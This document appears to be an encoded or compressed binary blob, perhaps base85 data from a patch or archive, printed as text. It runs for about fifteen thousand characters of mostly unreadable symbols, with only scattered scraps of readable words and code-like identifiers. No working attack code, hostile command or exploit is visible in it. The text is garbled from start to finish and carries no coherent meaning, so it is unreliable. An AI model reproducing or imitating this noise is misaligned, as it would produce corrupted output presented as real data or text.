zfJ4Gd#(&kvA03CkFw3jI95|i+T|R!_IQ)G+e$K(^_4h$;0?Ruv4nKFA!{>3M0JuUF z`29owx4ZcCe?M?r8h+&=j()Du^Z=W+C%=BySHX0LPkTbZ7GefJpLoc{XZqnZe5Lu?zHxJlK!DoK0E)M zTLQQTF@xWJ@k1rr+vQv$B>)A@+N>S+2PkuTydns zC$0oe#iu{+g`B+Ih*_RQ8a{c|M|t%}fi3K3pxgwuANHqi7oYn3)9`7JmFwtdc?*Fp z#0-A@#H}tqaa$Tb?df&#Y0qF9KJ6(u+G|e;*us8>WcKv9_>}ji;nSW$7oYa*O~a=> z!DDoNtwc=Rj@UxX;J1hJA;?W&extxa*^!LD@K`Uu95@|+w~s$K4*$60y!s1()9G*X z@wJI{^(|@Or-!l&XZ67~yVtV~O zkek5r?jDDqb&|tpd$54h&97Qre0BZ;+$I_N{m=R;KiSdG`BfKiy7`qg+u^J64cJPd zpZN{A_^iLdG<=R9Gv_$^XCbjx3o(OVKXJmvCmv11XZy-M&CyT)27xWa41WEz zrw4NGe-JU#ClI$GW=O`bKi$z!``dsmk`erT=0D`(Q~zGzJdzRoeBw289sR_$z^VAO z|6UiL_Us0>5HlpxpEb|X&-6LK7Rd;HKIIiIKJ`b_@R`2f#b^3~aro2o9ee1nT;O!= zd5w=>3mil`2EYBBulBk4oUaDYNIze_>rBTUmbVw!Ld@XTPrTQ~XL$n!srf8l2yzqH ze`=>pwFfv=|E0af=QwkU+{*{YZl^?N%{S3+UKLNQ3N`D%@>Q62{^;_qq)=zudAUA>K?M}mI{zEQ4@o*YG z?a4ad(NB8{fGxxfOmBi&Z|QRJReMXrSLrWs^b=-0 zpXsY1H-YUZ3S1~V{Q8L>^zr-0;m^LvtG@s^o&LCw-#7i`Rq>u}GkmTTYWQZI)NofBjFg?q@< zF}X$9v(AoNP>IXZ5#_g{t@*?|2zcBd#t$|^{7>_~jB z`MY52P5S=%^>V+z|33G3YV`f{r^|aT-jVltObqJ%m&^NBPL=oK)XV+vsf@^r>HN-; zbpHGfJ6G#HU*1R1Det#vuGIUdiXAUkX`C<571YUlI+n`&Yxc==6#pgn@2^>|`KjzO z`-jB7CV5W5Z=d0{HS2P`V`;sqczJQnTRM)u{+l(gR?6+ymn(iT`45WTFUb2n{QNV- zZ->s;_Wkh~9oI^I{%V%S74m$?yVV+hvsTBSkoSlDR{Zz<%k+Mezdvqm(e|$ry?%Rs zbG%Of1+k}Bp8xRcu{LNuGfOq!uVI=g_?Jp)Z6RQUOy=PYSoQeeu}(j z>d(IRFvgFqI{zas{C|^w#U`EqI~3-tac<+-7ri!^>v z+VL70_p(y7TVqdfv-bb*r9b=axmxnwD)zi7&!HV9&wsrr<@k`ayQ{>H%g1?+DIxiu zdb+mTpKthbz5jXfM}f4DW99hsOUcKS!^B;;>hhc{@9pvHZI$t=v`FiJNBW&fZ{ot+ zw4Mg3PrshxQ*`>vigny0&)1psCQgW+sZw8lJu!LD(o15ONoV4&+qE5m6ywvo@_gDC zQXEg)w(9g}$@t*U|C=Xi``?xJd~&JA!%{EH5s<0 z{&-08YpY0}U(+hR-=sS+Fvni!=Ds;=tvS`!oRBr&np4JqE37$J8#3h$)|q7BpE~Wa zL^i*uY<{?5etFsaXajf6S?1Od6&Chu&3>$MQt6axm5I{tJhzyy(#$!dptJ^C{{3n2 z`+QDP=jYPkOIz~Z6S%Zfsu;mVuPBn3p?j-menN<%@?ctFZrz4P?57P!29uf7NuUN;JU=Z z#SWkAP!+(b*3G$2@q~*{JP4d>-GS>Y(~BMbTxYR>EyN5=Z-TiGBkJNaeQO#%<^3)` z^$(@tGrznN#~!9H0Jab_B(o>(;?rMk!0Fc6`+fWY;2@PF`1Nz0J!gqy&xyc2z+EIG z`1!OqH{|eH-U46?F@v8^+~(pleR~={%QxuabDez@xCb$VUqAWf%N%>SjvfW>LCoOi zQ~s)pe<-lEJpDR*0&){r-oT~l%NvE<1m@qGhEIRo4>@`Lh*_S|G<@>vOMUu*E$nBY z+yrx9NRNw8{R3(Ev?s63(a-V*fi1)ge*MI4EhSKn9PvK==d&+?= z>}N=3Pp^wld0!en?HO|MX;0wt)cR>p2y*IOgP6E$9R4umCNRIfz(LvJx1aio%f0*x z;B@?cAAe{Z{_HEf`U`>6>2LS(dw|Q+*nixWj()bE0$?izpXG0N@mc<^arkfe_@lrD zDfClc!3wWEAz&*Bzfb1jFD^`Syb6k#Wp>kyi(pP;h#@_P~K1b zad~eDUX&Jew*#XnYrD+LWuEER^WI{e?lY2)NoV3dN&h7|PxGg*kn^=yr-+gkv?f0|6 zdnLctW0L#(;|+Sh;h#9CRc$)+;xY4apIpE3WL<6DjqB?h8k?dw#hT+S8#cCXl1K7S zoHgUHL#H2d$h2t(Gi2#7)g4UcuGqYW7yQ2|#)!OGG*tQ3Vr<7zBeqL^5)qtV0~(P%_t!H&j)y(=n~s7WxEU~K<$cFycB zt0~|A|9Squ=lQ)duzdD?&)k{0bLY0<%v^0!QhWf6CrdUaCqbb4!WBQQE5Q51MU1pLP^(GUyfLy1WBOiP9ta8oIp?xhDDK|j`ZZvAKulPiXHr^Xs!J#17Q%9G7^2)ek&kkQ2H=t56OtGn4}07g zOTzu|C-HbJNN1q_wG6le)iAa&CMCi>1y{iZ#*|Fj9sGw?Kj-)05EztfGQ?RQIWQzH z!t*a;pdAi?KaDalJ|aTnQeyO7(uX#@eCS(e zgOXUmQF0^}qu88@#oe7Nu`R_{5!WL2Ar|w~sEM)90z(k79Y;w+T#q=K*q&HREavA) zCl>R^=!gyT;wHqo#7&9wh?^1T6FU$W5H}|-ByK@` ziCD}}R78wpC^0-BZp~3DA#OulN-X-1BqzTA+mYRd*o9a@+=bYV*p*mG+?CjoSSEHR zX2h<h{gG64e?O2=MjrDVgd1Zvafo{#|2x^3E&dhEr}lxTM?HMTNB%~<@>K3u^n-F zVn^Z%#ID3P#6H9oiGzqM6GszQAx_gm!IEdJZ zIGwm1aVBvG;%wqh#A}E<6Xy}T5El@4A-+WHO8kJhD{(2Y8?jA$zP;Uu?TBS!M`A|o zN~|LGA$BJYBK9PXChkd`N$f?OP3%p)hPW4T9&vBt0^&Zzmx%ikKOpucE+zISw&}pP zw;!<`v6|SCcmT00@nB*f;y~gc;-SRR#1X{l#Bs!##PP)0#1n|u5L?gGID{&oSA7XprAmWdR(}~*&)bYhs&De0wSo+YwhJb|kJu>`GjP*oWAjIEc6#aXN7vaVD_^ z-JoR?TNAG#u0WheT#>kdxDxRt;wr=si0z3>iMtWobmrS@K{t4I#MZ=)#1)8Li7OKO z5LY4&BCbLlO$_hh(}#58Zp7Kd7Iee7hPWbe9&sh&0^%yfmx%3&9}ssVwsE2DqZ>*) z;)=wM#FdC$iS3Dfh`SL-6I&>0dx$F%XA)N;&KBzvuMz7v%^@$6_`ox#S`os^! z`i^}4Qn5aHv-T}6Ci9}(Y~#}5+miK9h);&c(e6OW%M;uB|! z_{3{Od{-VnPuPhIguOerUlMlW2g0u6_EKRdwsEEH@5$|Uf_*qU3ijpfDp<|ghuC^7 z=OAKx;%H)VU+BT3Nea5}qiU426mJyS#d9X1q$B$!T98G2g*bxi!sXA$2Z&LO@` zoJ)L|SoDK5CC(?ic#f9nd?@-o3dtT%@kPIg=tn6cdoIbPrTtaqVVkM>DR>beY z>obMehSsl4tRVYbu|Dx?VrSxSiB-gY#A@R2i8aK#h($kx=vUE_J(KLwR9?|fqa(ZM zXHZait5EzbvWtEXM_OO>1LcrCmEvn@eY)+Da>>4l?D@o^-@}gLS0#HP+4~WTekn)d zBC^L4uc7rDiTGp>Ay$&T8nGnv{X>^oLqBA7vMb0wPpnVepV*nwQwS#e0Af3;A17iJ z*^`M~$=;q=P4;wR9ogN8HDsSC)~Eby5NpXkka!KP&xmzopGK@Adk5kyvS$!qqVyez zbI2Y=TuAn2#JOaTB+e(EMQlU)wHE7>J%PB0_%q^cir<5{gzQs@Gs)hKSYmvCP9k`RH2#A8H!;xu9v@gTvpy)}u|WS>v0Ar2tc5-%Y3q4jNvb!7istWV{2Afoh;I|;5@!+T6R#jHB;GsfsR0}%k0Dh5rYQ-=o{Og)N%|N@&pSz;Fs6V%5rn~rcMLd& zpDTYdM*lYq5ioL|D~}hce`^-L%Zld_4KXm_+yNM3D7_dMBab1L(v8!vO=jDqb5+tpBtkL}3`W<2O? z;0Qf?5o7yug472XI1zY|A$@FTPB8OCZ?a>1Ll*I|-8q3(^s`|5bAnbqh~i^AL_2Tg z*d9{#96)w#mrgJbgqj%Z%Lz&=(#Lk{1amov^b?^*kVU@(wp%AyTiCJvVttAAu^l@B ziTK!_kwy8iU1NDgd~DxX|DwLIojbwa5b0xkN4uy$Z1+wu&xa3{AKO2&NDq$#ET2dZ zj|Z%eo)jOC3#@PB{>J+BkcN;Qj}y#K)PID2`@9VK<8k8zr4!GYc>ExX`o-f2^AqL4 z*lA|7++R*P+nd>Uz76S{x#;$%h$_Leo;Qr9{Bm% z!=$_kaBpM0BJlis8rmDr-_LOV5cwO=r++Pi?UC{QPKd<9!mg$G^@G&mf{j^ZWt~?ThDUJRW&|Jq`6?n*N9P zcY^+mQg(a#!4b#tjfd=NDjTUp&6MVSn@Zz9!|t_A%6Of5qdAqfs1>eNF5bUu|;! z!mal-+&}R2-A%S1?Sl-*3%7fit*-5K2fzUc%|FT5tqC2?>s&rwGBZaJ4s0FOKfc zg*_hb{!H!haK<%dY^$c6WEf%3%R9=h>!aT-aQ0=Ka?JSF2KFb1Ah((Gt@tp z(Fsx)^~awJ!r^X+2Yz0}a+)&E@n*^x%ar5c>Ry)l(;_~{;&Y7?)IWc^;m;XS)SAR` z8v=I^Jn-W()KFf|#wTXMqWqkV+rv4=P(IGFhW*bu(JXzfVf(mUJpGCC;XHJvA{P=UI==H#U4}2~VPx-tb1dk8VKKXUj*nR|y_RJaoiu~|88*gZj+@4^lZ+@R_ zEFZs*Hy)q-IT+_Z{!@?Jn-kNC_{bm=b|{n@xh-vjOFLg<#C4k63+=D27iuAP^1z>aOzr%5Gun|84DF9U zC*ofoct3*Z{o?&$rtOD6H;7&`v}69J@iBel`G7y?8Oy`_B}A_p%#Q&%WBQ`KamK$q zi2LYJI^qS3BVMpLB6+`t=%vH{Iy`99VK#nvEWzX6U~7U^Lg7=vHo`E$N;e_%hN z>HgvUNTL@N`%|%YjO~l}D~aA!v}1cR?r+|Ygmbm>!26xFhU+_j&g6eTwEd>`4{bm1 zHyRD4;(_<;7|X}+8}aZ_z=NxCjw({ zV7$~G{&s+m^LyjgMP7w8&qFB9M<$j_Eo}AUOLIuY@}TK_UIGi6kIsVTw-a{#`>m6c zL*PBm5o6%Bpovkb;!>xNq8QTdd&h{=HRgjuQfb4gRmFNmJ$$<+bw5*M!Y5LGzl@K! zi{;1G=8stUg|$bPRq@H-8n@Pn<&KWM&$_yw>-XK`s|#&Mek}m3uEAn%i(a=!yJUypD1Nn9SDfetJvo%`jH0f^D@Ts*6+zMNNWImupJujRWO!6 zEcuY7C&b1Qi2n<8YEpK-29ZNpNeSP=#-5dD4CVeF$)T>#q zGJLE_#bT)?Od0f{{Hs%p|1^I?!v8;g`QKXpQaWze(|jr)I&LGsLwYL#idsCe0^(Kx(Jv>$#F@NHa2xRcAq^tcl4gC2s7T(2M23IQea*Wqdg@x99S#}4o;1Z!3eYuo04!q=i@7L%DH1Cy3L! zHK-GR_jYsrvQ|<%PzU(H>QZ-D528sjXd6&RxX^wIIubtUo7o&z8Vg@qfxR_+oZ!&MP&39F6;_CkZ=z3%G%V1-oK7L}%9PX) zn3PEw1#biiH`t&!k_Ia;G0LzE(uZ~cwFAr3aEFma!*?IAHdx{P7?>KQ7akEAk`|w; z3`SOU(@7Z79{;XF%%l}HI&bg>xZHl;_=P=yHqjV znB>$nsKM}<6m5J6yygU^P*TEdRH9xYqLu%oh#F%&W8Es>FQQ4je^f+GSdup5FDhG; z7M`k1*3SlI*v%R*A4xMHAfPwa8*d+Gt;~G+Ut|Dj;Bke=3I@JIBLqsCq=dv6CAQI& z7-K7g^o^Ctk3_RZ@}7Oz2(uVGKTSeNBFst^{*QJ7tYRMjFLwsUH}1FhYWn@XS0=vL ze`fpVLuB-wO3}`Q9cD>Ok4ZH-{7hp(I)=vhkFqty|Bnj$ zfqMK$m4oY*IUl9!=V|-EX~}TjRW@m&gw>23mJ}Q^#yF{(G62qZ%AOG^VaYLCA#zfUBMpp6+pp20mCYO-N!=Vn#wzT8a|dQ$&guPFbSBE#Qj=%zUNyQ-;;` zVRTXqzjy*^{v=x4wrwTkOaA_A+V=TY8RECG7hA0#C zZ?!6O_A^^gUty;8^r7|tJX^84L>FiSi_4B!0I%&D4b6Zz4p^v7PD+L52CooP>Z54W zLgQn?3}$IqYIIs++z4t#@SK>dGmy6hNpA-=v zAEQl)Nx_>X2yL)Ip_&<#iAnr%9&BM+=#Nd%N^O+9>=<8Pc2Fq0zTCJhGCnB;ZwJGZ zpi-cOp)e05E)NcdSTuk~|Gm8nF4hM|o?ESlNWZ!DC!HDS5tw{QLU%3-spze~q;b+laSNWKo(`xQ6mqMuerL zQ7cYMggy@?UxD8RanK)fv^*@ylrRt2u88DFI8EqdL?osq;1`h{e%F@+zBI=V{(%q{ zALHg0f+tM8>m}C4B;xHkE@?STl0J!qHZl$su4Aw)1^#5t;Qg+p^ga`Fg=qSqn91XT zdX${x{5el=Y*%jY-izxmX7eBCQ@q7Ae{5r# zmv$e`Gc3|m&*JI1(fer*)BMJD`tWo`JSAgF{H_?vp9{ru!MJVKCU(*1BJ5UT1v4!# zN#*gvp^&V~OXV#U)?Qv-sn#o0MfT|ttRN*nkq*=V9Q5MV-g zZ8`*-3b3?-1as7a31Z_fuKivpuhUJ@P0&GxR#S9SChBUHD+f7Fo;^yh zVdJA@{e^qq$?z5{!;aal`qkl+(!rrrtPmx0SxYjjK%mq3)_#n+C64-mARJmcAp3 zg0JZ+t$SOdx;$%5q0T<8X&7v&t8a(-M*=@P@6o3?q{-ULJrvz{CqKPAC$;vF{HkAn z^f>-+ODNp$=O(>gd;Xe(E#Jv8_$rq{QC# ziS@9yRUMkEHd?Eb8@@b$dTz@fP7I5j-?rPztKhrQ%|n813#o5u=rl4mMxB^g&eZ#EP|-w*IZdDBJ!%drq#r z>os7!J#N4c>2rU#%ulU9QyNi{n|Ao>+FCm<-@ch#J;JxI*b8Puxo11m~j?~FBMA%+h?S$nk`AUw(RJhmO1guI_yN8+tz6}rY^Jb_VSCa^7Yj> zbG~eL)An(+bBmr^7yjZt;rj!}EQ6l(kG{OpVf47qNBKhw3V(I)v!TCL-xxTz#x|W4 zxvi!0)R{vU$0e}U4g9vBxS?HorH6Z+?f%CKM`hai@_m9sf2m*1K5py1T~LHU2&+S1eF z*W6E)%~BkaPfvK6SNv_c+7(ox-9GL&V%5ox?zj6TBvfzwTgSn72ixv*Sa9)?;2#fX?K)4JDeHp*+9LXzAYwCGbeG4R{a z$Lppw`Stp%mERZtdaLelyCXa5GPib-+vM$?b7Mn2oA77n{A1sBt`<8us@9IHs$<<+ zrAIIB5O?{|rsun2!kfeP6h8~rz1nno(9dg>eHNDnE?8gb?Y9=6eBGu`%)Gq~TQ)d& zWZjwbmqs6PIbCJYl`pfF9$B>J$G#4Bqf4q*%v|$(s-ltG>l!|HH_i$hqPYL#f(J1d zo6E_?Tc@nc8rGz1$0cbMKJGi`r(RBDUM4QOuc}<N{=ATNNB#c}%&GnN@^)gN-k3O8fe8=4k zf2+C0`csD_t@!EO@c5*0#f$G>?)Gv;Qs|ieon{<-;UeU z&iZKI+@GJ{y5hfLcFNU?#Y=wa7gcq6?X?%SZF^B|zH7>y{kmBvPp{Q- zQ~%dp7d&#P?cCb8ay6?J-MYVZ-1$0lOpxcYyj8_LQuhDmJvKWub$0c}^{#&V{a0PX#%7#71tdT{_6SJQ9VZI{M4@2xJch;9os(1 zdpfIXb=#P^zA0;}H`l0aExK3A9Cf_0)9Nn29=$SsYx^HO+E z7;rG;KE) zx4VD7Vp#v=>-E-b@*dji!pUovt=?YuKKXew+ZG$oG~HhB2kV2akC)$m?9t|4*ZNjm zdd%|Lp;`U!wbuv!d_U8d$W`?>s=k&hC4*Gszk`Il)EQ%AZiN<7qldzQ-~566O8 z8Q(U$Q4M!exck0EndcX_@w{w*U$?Stj~8)0GI~$+TzfyG&%HNI7HKaO{d($Hxr?hl z-yJW7-}&yE|LR1WH7k~R%}y-{nDsjFaO&}M2l6};!!8FNAGWRYPj7AGL;4@Izq)hY zwx#}0R;cg4yf$ilScTTh+uc~&1oM*=({_*SKDf)6JFZ{-*rVUFGZWe@`+ZgFk(UP+ z+;0%;S{%G#$&9BJ{&<{ue#5?@^2y_yCTm%vrDqeI9#pX#S2t;H%*b19W`+B7T`{jl zQT0wi-Ro|h`@*Ni?!e|_+g_QGmXoFHX8ZkBr!1dS37=XQH(MwMed)9Q_s{=jHDC#c zrWM@RT33`TtgA{EkP4|SXXON(Js@Xl3k8PrFuIoD%qd4s8s(Ki^}yYT2^l0U|E^pM*l@c<8>n( zJ`dndMbQHMfu>kUDv#=tZhki0H$5*W9b44xL#v}dV`7>Ah7SiHmSp%}cZxI|o(TB& z;rdu%utazc@#Vq#<>*6#|4TfHrvAGuSX)To)DnsW4r5 zz|b$N0g658_`&6k;e&BI6T1_865}Ni*BL;|(RU5w2f_!_$Ni6a$HNDgC%{JuA1!d@#Rn;DhnD!w1WE z5 zBaVT<5d{%&K1QEP2RQyy;J@@rC@)`bx(vtSpdS`43;$D(Nb~YFrZW6p{vw_zGQ5>1 z3jV=k=)hO&>k`NJ@Hd<)DI&fB2P47RPQN9%9T?z^J^JNXn^NLCg(roj;eXH#iSpG_Otb#rckWNB)NdV* zQb~r^!>_>HrHV|1J^;%a?}sEalGD#K?$&hV_Sc}q^7z3{no!2}Ryyq!7Lz$Wc z{|^pLi_+J2h*k^#3E~y(r0ml>K$!sl5L1RmC?gWllZ0Pa%u{rPUSrWJ@EAo8Ts$6y zuQ85P3xzF;GTCJL)#|UmS+jQC z`VAYu-ITj|%XeG1eZM_#$Ic&i?cTFDf8YKC2M--SQgHOxkH=4(JXLu5%-M72FI>EI z`O4L6*Kgb`x^??b@!fm(AN=(2(c_~+fAM?i%RgSde)IO7WMOG#U9Nlu zn~IexSE*X9x}ru++gi2j)U~T;U%$ae4I3#NH)-0;p?M3(maSU1acbMn_UHpW8nfJMPo*|Hrrgzqoz;AK#w;ulv*8!?UNCcQ2pbefs+P`S(-z zA22Xr(BQzJAw&88{B!&NmHSgNyL#YNLR>!_KVU<9*`NP{D~QDe!;hg8;cvc(D*)<5 z3*(Qa#XtKI>zi)NKigi@HSoL52dc% zXIpEGrI3u@`8R#{(0}n+;={@PZ|$Ek-5Lu3eE!FN6zoI6{uAtTz`haeGr>NF_d^kO zb70_3IJ|oTu;iV7sZ=ta)SL~^{qJ}f&jov1FqBe!gHk$J5)37Kxk|cD^yM8E9Ku^t z?2o}vHeKw+flxyEh~)UvQj7~Df1_0rk-yj+s>1{>CUA)n&sGrr&6jW>&;(sR)} z9xtCXhg3(ZAyttoNhQ*vx3oTK4rvytmQ+pZOsXK2NQ>T3I;1(IS)^K0HK~eJNh*<+ zyyoc?lID`;km^Xaq-s)UQYEQGTJnn0Bh4qxAf`A}x7A`H~ir z=9A`<=8$HQ>PWSu8d5c>iqx4@Nva@~NK2km{-lMZ`J}m|Iiy*nIy2Q0Ye?0kDpF@s zC8>f`GSiZ0R36eo(tOff(i}6*BG!>=Ni}AwCRUL;lPb+rK`fD$Jf(7(X(4ewX|9>( z5NDC<%v4LPAyu2HirAS{X{HKd$xKUrqw<<*A#pxwu9@Z#XPK#vSZk&lVzrs7h@H(; zNvtqaiCAdK6Dq%%782*1X)dwQ9O5i9)e#HT5^Ky};k=VxbCRp%QTkUEhTk z5eqFO7Mf2iG?zHXOtXlE>WGDEiG^y2g{p~#s)&U;6AM)m3sn#cm52>$yem)^HG-da za!G~P7UT09v2_hrG|D;Fo+(QwG%B6I*w^c?myek2!!(B~w#=B{pLIOfYNq0HAhT&S zwq#$0V0PWA!HkmGVeEzOvQ=dDXjXXMD)qUPz;cpDSKe#iku9F%IbwdSnr%5buR^m& z!`b+Io${VGiD2FJA)YlXvVdQiHE3ynd-kwEW<9r?YKK)gJHE{-<>&l(w$ktQQ@c66 znD@!tq5+pjGVAcW52Yb7?4xt;@Y{oZ8x#Lz_Lku+@`3Jp!?+lB+4-%*?PO23vbIZw znj1CjyAunn+FXri6?#tjr1tRv%z9F--?#ZjvIa*+!Ebjqsq&ZhD_e#z*P;5DR#Dv3jsuBD4DB$hrI*A*}78N>itG=*6tA zbjtCwie-ZxTdw@bdIYmyZ2HT zcWchZ5o1TPTUBfv#!UBSSz8;gJJ&m&b<~G2cIvfNHyZE>D2D0z$y&Aa1v}3o|HnwWEES7!tw7qMi&%#)P*Vhg{>OF*2 z$v&)$sp7+|Qr{kumL{=Y1MgpKm>k0zx!PJio)E?cHsAN{{sqI>&O3c9pDt4~yD1^? z>&kR3s+3H!NMr+cj*EESHikK?dY7}B8_t~dLBq=1X>=ClgV=bBH|3tyRkQ04($7q9 z<<6d!8|NNeSeIS+-Ew%ds06ll%H@4Edd9MwbyDIl21K!TS-qcFE(~YU_A@&-RfMwg z2fsd(l@iQ0Z#iGiru8u9U3Wz4X|F(bu)`k}Y9AQL>Xv+5|IG?DbMq>?6MvvD(@v;7 zyvVW_`*OPkzn*M!{Me3LM>CdNeM*DqP&ZaLeqWvVeJy}+=pXkWi zzN!5Anv_ngZuEpY(Gy&l%koimG*7#-I$7;%u0AZYQ}qU2X*t$|g*UD|q`f@qFGYF!d|xz#4_(In=M0DB`{67AdA7e+N|lK z@5&!KD>F^?1-H-c_GSEeV-PD>TKShn3x=~<=NmnkQ!|w5=2cQ}d>g^sT9q6+UpDUTWtZqomrD};ScM4;>&K`t+i{(#6YH85R^A=s)jwhHnMNEQ4y?QUn9RC z#>FzLZJ(}IZA@aS{*`j$-gvULi`{>mbw7ZulIB?UtfXNFo;wboy+4BWIi9~IdPy9c z;Q4gN+w_*KlKT5@bx!%S9gm`B%)2#=bz5{TFvLHc-K@&i^*tWTK55qK#~)WUXKEf; zz3h2idsZIFEMK(HjJJ$rTdR)jJGo&3yKU>^a6iJG{aWYZTJOj}mU%Mpcc0c_to+&m z-dpy?vRd6X+jiUBkxiPWd~_=-fF&M&>m1}7%08`MpGz$v)NwPp;yu% z)@pXOUH9vUv7RM^HC5RX8Ek!xhp#oS(jIn zgZkU|W0vt3&u;!j!O0E=ZqEEm5BV}CSG+}hx20&8ut(Ryo5H5*@P;(dp%p=@Gzhk}6<)&e(XCt$<@6sQ{uzD*Gyt$mwi&e;&H~i$o5O%AprPr{ki7YB? zLQ2Vu0A@Mh%ICVdk*sm+Z(EN)+=cZD`Xy%4UD$8ko91`4jAu2q(>qxD_h%{F0+kg) zB3Mnk2{r5{v}YQ{(4=t3k?i7=dy{Hbjb}rw3rajY4`3DT{U7e>9?9}%4!_P8bz^5n zFRI;OkA}JW%!;=ED3M+4sf6D^_DSG`tG0Dxn0oPqpWKf0VK02M{5xvGSq*(?&r069 zTbKS4%-%LGdegWFu3J;)AAh(#knL*J^~A-8F)YhdS8;GXHS5s&^M?K1Bia0uPd03B z;=v}SZOvGIJCvQM(Kh;YNi*ixaLoMN#lh@$?Bx-~BNLhRB9EMw)N3rORd)NTy-t6EDhu>V|B3QSZ{XSoi z=)n$Gc~q>r9>%=gRVm}fcV$neA8nKUWhhfvyTh+DEB<}9b<*b{>_+bckG^tg!e*Wx z_)Fu2im_i>)WF7qD!`eo}@8gWO0g~nGckfJ)z7~yte;Hq5 z-u+Q{`PZA?s;T*9=x_u^X*`R zo$tR12Il9p)n;t$PvPkp`)5SD|LVUr@NW(L-(LfGzWTfVd43K#&!A)Yt>`QEY&%$m zwR7e4kbJ&;3f()2b4xCrbHp>2gz?*@oY?`3BkRt zO=ZPauXESr&t_?>y**c*{F2q*e7-{c9Sd0YoJ}qAmoH{g$MkB8CoX5Y%T1?U&RxMY zyWj4Zy6h`uVie1f_n%9^EOZ_Sx{YZ11Rgqpo|bX9FrBl|kE zM!s{UO>9(gcIWK0Tz2c@uYPff*v#tIs?_eqz%A_b>H708x_`$?yuaRat?gFE?8>tW z^|!Hu>Mm=8%74#%w@$jnCFpUvjax%Vk5qbzhLXRo89}ZRbqt}d#D_H*$)q|wx9EOFH0P9tY+<~ zd^TiO;n+_v=CchRQIjV3+Q)LD+MRE;eINUAXr+2d&G)mW&l{Bvn75yu9basB(dqz8 zo!wCRdei~d>hR;-{WlM=hU0#WZ|!%G-5s>(smsoT%ysLEJ9nEOVpEjamtDU+#Lj*B zjn?_yA=ZCmvd4+o!|bCo_3l@{aG0&`qIzDcI>IVmR#;A3e}p{>^jwi&yMWa=s*K1P zU%=cGGH*EkRKT_lezs)jfTQfQSL52c{BV?oZM)rQSJPvxUc1cKk7pcXPxtElk3K!d zR&ATTtpBhd*@c--sZ;j<$oARI92DL1IBT+K(UIS0A7|GNRrK%t;y9c0L%+Dj!%whr zkJsny+INEL=Ooh%T{pmT=1Jx<1A4mlB=H>!}`$x6B1?5jf7cl)BixO0Wns~~X>VxrF=yFBub4r;U!P@) z-}kNVcm6CZ{$|P)XX|sU)&uKSzjips_K$3^e@4hTcDkZUS3c_;Tai9yUhtlCEY?!f zVZq~b%&F9A>PGwXEbPq211o*bv-qK2b;pc8&u*W3mfLF8d3LN~(B9pr&(nT9&*mN3 z@!P~U7ueHVRw>(tTwt4OEpAva+cNbXkiq`996pmsCtoADE#5Y z#jY3GsjFRU`bS=5D|=lJUj4;ImcOY>r5k%LvICnYb}M~&kQ` zxWsZQcU&|l@e&*6v2RMpMVHu&tw9Cb4_#tMLS3ddd~%7&YrGysHMq=P)oI*dZm-KM zsK2fISIL*zjH0>|<}JO7-PIb_zska9AOGa{o>$q(r`?xs zOT5ZnDZZQ^lzo*|+E{f)(Y~u}Z2fPR`aQbJT9nj&vb@$c=C|?0Hy3+cW2H&&?mUaU zM(yt!JNB_(YEj-b_UP&4%A0OoW8n>xzYVK&ot=LqefqY;bvEhn?M35%-n<)a(y=kl9^XV<*RhButB>u%SZY=firkES6v+5Tm3 zUHW9+WR0Gt&kovjlO@-Fq3n0zCd+;nXw&x1O*Z|V!{$F~6tQ=Ot5*+jC}Q2hPX4;g zwTPW*zIN%&zC~<_SM%Mqf{U2yW`p5!auKWM)i-na%C>S*z%R* zwgqgy#T>eiYLs{27PHbuy;WSe#R^s0k--mcG2e<)`+oJuEta_ci__Pt+-8sWM7*xt z=r;4*yXT^F``fHjSD&Q5p10YLzh|EuHt04ha_(di8g(142h(bf%(%@ytMH<#dd6)w zBX|GXE=zB-jjHA)wKv^nGiUYu`KSEbY}vK87F*BUX3>_#E~&-0nfE;P!d5SCvptG_ z9WPe6!(!ilQ~l$5ci5cWQ zx})x}@fksHbrbI}`&NU`7JYe#{jvK~xy$N1tm*4_y(fKthn4T}`@17Y?yy&bN5xuR zzQcyMi~F+U!#m6)>GY&wukNs)uIYR}u2RgtP4<2;`=esES9ddEN!wx;b@Juy<*XQv zgO2?dsf+3SP|P;2>&Q}*i`mW0ho=XAR?I5AUin$8xy9@UId??qs$!OUdvMI|ZN<#( zm*bl<4i_`&O;fL4Q4-ISX z)aou9w|Ganjc#{Y_S}V0&HCPDCn|3Z_;T1?w(#k9=U>L%WpkdmJPjOsmrct!v2Ekb zyX?~ke>l8aa+f(R@9eAEc$cL#xbHk}_gxlIH~!k@6L(qDg|z~2T))fG>NHzx`O95a zZ`$cA4d32nmos}k>rm|;iwa-$Ms9eo%sq^_7x-8I_tyaWKDPs(XdLH)Aw*C7yAq@w ze4OBe69=KsNo)8xzz6(M@^M^>2r%$3AN^EBm~Y0P1Dm>c%rfKIW}IclFn*@Y`d^sw zmu9@xvTXcqW-QA2cWOT7Cf{rYGdGd<{BkTMUMs_MjPtz=hcv7u^yY#2yvi)c+U7y5 zXS3Y69$IjIbTPIu;sdjvdnP4&!F+Hqd?XCU15jchj?Jp5O#4`}%(&kGK2Oc@;aoGx zK9lrBN4~tSKi3I9Tyxc2MNXv@e|&qs+(E^)4W;i-^X5!&;L9I7a#c6uD$)_U)uC*; zC1Ne*lS-;0jVBfB|5G&|h2#aJ9dPtgGK?t0u?2rN{zjxP+yquJs3t3`oa$e&iGz1 zT!Qbn^Ab_Z*l~oUco&^qXi`N+ll8~BJIob4aS3*j4Q@QoVA(SCn5gSu(zcwPGI_e0?Ows3s67)SVbDgRx1 z|5fw6i;;v_9(-fPhvtgME&aRl;0Sa6{sw%ngK>0~*iN2y**Y_&|M%%9!ALC}!ztdv zV49<|X%=O^|6P7K<`B1tk2}QCb2!>81lmd2dG$M#N!18{mp&h(k7FP4y>G^O`prxH z_vw82y(7kw@NfSl9UNbYqs{TnTE=&nv^P&m&wrO5Kf>^=BGST^WxjQP->%Z3zWI1W ze9MZljhd(Q;qqYq;%)@rMU<)^-G`%W#XDSZ&`tNf75Ne7}(C+ZOPRY#~qre47`(%M0H~gQdZ? zid*~l+a+@SaDHWL4BzR8W213=D!!*G{l7SUzLk8Bh`r8h?(eq)k4&7&0?)#x@1ZcS zF|oaTEN!wOZcQ?{Cr99rWp`~%io5^7-Xgl*uU*8!g*c6FNOHtL{cPl3>4tcCH*Ffv z3+AUBn2`dr(&9wB@ewH$7yIT-<9WxYxW~iXuOguj*u9e@B7|Arw{Nz7uZYyaA@ONE z&Ii^XXllpj23tdFk_0Qeho#1hjtGRA9FoSESR|>M2|+y1wB%$M60Hsii-Vc0dxz_- zc<*jn9*EZy=6{7@*)Sm6q<-+3%q*T4ALbi05Jp)?ct?b!!eDH}lL0=zn8nBa)7v=I 